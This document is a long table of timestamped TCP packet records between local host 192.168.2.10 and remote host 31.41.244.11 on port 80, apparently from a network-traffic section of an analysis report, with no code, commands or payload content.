Dec 18, 2024 15:56:17.456733942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.456815958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.492260933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.492292881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.492367983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.492577076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.492636919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.492679119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.492697954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.493240118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.493302107 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.493367910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.493418932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.493885994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.493963957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.493967056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.494004965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.494585037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.494703054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.494728088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.494782925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.495335102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.495383978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.495384932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.495434999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.496234894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.496283054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.496300936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.496597052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.496838093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.496881962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.496886015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.496925116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.497558117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.497617960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.497656107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.497704029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.498259068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.498300076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.498339891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.498987913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.499038935 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.499097109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.499149084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.499731064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.499785900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.499842882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.499893904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.500392914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.500463963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.500562906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.500627995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.501156092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.501199961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.501207113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.501265049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.501862049 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.501951933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.501974106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.502036095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.502604961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.502660990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.502708912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.502753973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.503365040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.503426075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.503452063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.503530025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.504086018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.504157066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.504204988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.504313946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.504834890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.504914999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.504939079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.505042076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.505516052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.505601883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.505626917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.505682945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.506335020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.506455898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.506519079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.506959915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.507071972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.507102013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.507162094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.507714033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.507767916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.507828951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.507947922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.508446932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.508505106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.508537054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.508586884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.509202957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.509325027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.509361982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.509913921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.509962082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.510005951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.510145903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.510668039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.510744095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.510755062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.510785103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.511450052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.511512995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.511518955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.511583090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.512144089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.512247086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.512255907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.512343884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.512794971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.512939930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.512975931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.513003111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.513513088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.513567924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.513638973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.513684988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.514261961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.514362097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.514400959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.514415026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.515016079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.515081882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.515084028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.515131950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.515795946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.515878916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.516015053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.516063929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.516541004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.516591072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.516658068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.516777992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.517226934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.517272949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.517294884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.517348051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.518044949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.518095016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.518124104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.518171072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.518827915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.518879890 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.518881083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.518918991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.519437075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.519443989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.519491911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.520149946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.520195961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.520209074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.520257950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.520838022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.520880938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.520951033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.521006107 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.521537066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.521584034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.521656990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.521703959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.522300959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.522349119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.522381067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.522423983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.523072004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.523190975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.523199081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.523272038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.523807049 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.523849964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.523978949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.524034023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.524538994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.524589062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.524703979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.524749994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.525176048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.525223970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.525243044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.525285006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.525926113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.525973082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.526002884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.526047945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.527020931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.527066946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.527115107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.527159929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.527798891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.527870893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.527874947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.527915001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.647336960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.647423983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.647500992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.647559881 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.647666931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.647681952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.647768021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.648433924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.648482084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.648509979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.648534060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.649076939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.649175882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.684364080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.684380054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.684494972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.684700012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.684784889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.684919119 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.684974909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.685426950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.685518026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.685854912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.685904980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.685983896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.686033010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.686490059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.686536074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.686592102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.687158108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.687215090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.687299013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.687350988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.687961102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.688081980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.688134909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.688616037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.688668013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.688720942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.688771009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.689340115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.689481020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.689512014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.689565897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.690079927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.690170050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.690201998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.690284014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.690804958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.690856934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.690928936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.690989971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.691684961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.691725969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.691745043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.691772938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.692254066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.692312956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.692368031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.692583084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.692965031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.693041086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.693074942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.693172932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.693696022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.693770885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.693800926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.693886995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.694411993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.694457054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.694509983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.694586992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.695161104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.695229053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.695231915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.695281982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.695909023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.695956945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.696006060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.696139097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.696682930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.696744919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.696748972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.696846008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.697385073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.697485924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.697535038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.698072910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.698127031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.698163033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.698210001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.698875904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.698988914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.698988914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.699038029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.699527025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.699592113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.699594975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.699651957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.700277090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.700330973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.700352907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.700402975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.701034069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.701111078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.701117992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.701164961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.701694965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.701747894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.701809883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.701858044 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.702450991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.702497005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.702529907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.702578068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.703175068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.703294992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.703310013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.703361988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.703923941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.703969955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.704036951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.704085112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.704699039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.704828978 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.704862118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.704926968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.705396891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.705444098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.705522060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.705677032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.706130981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.706231117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.706264019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.706310034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.706923008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.706993103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.707005978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.707082033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.707593918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.707684040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.707709074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.707765102 CET	49749	80	192.168.2.10	31.41.244.11
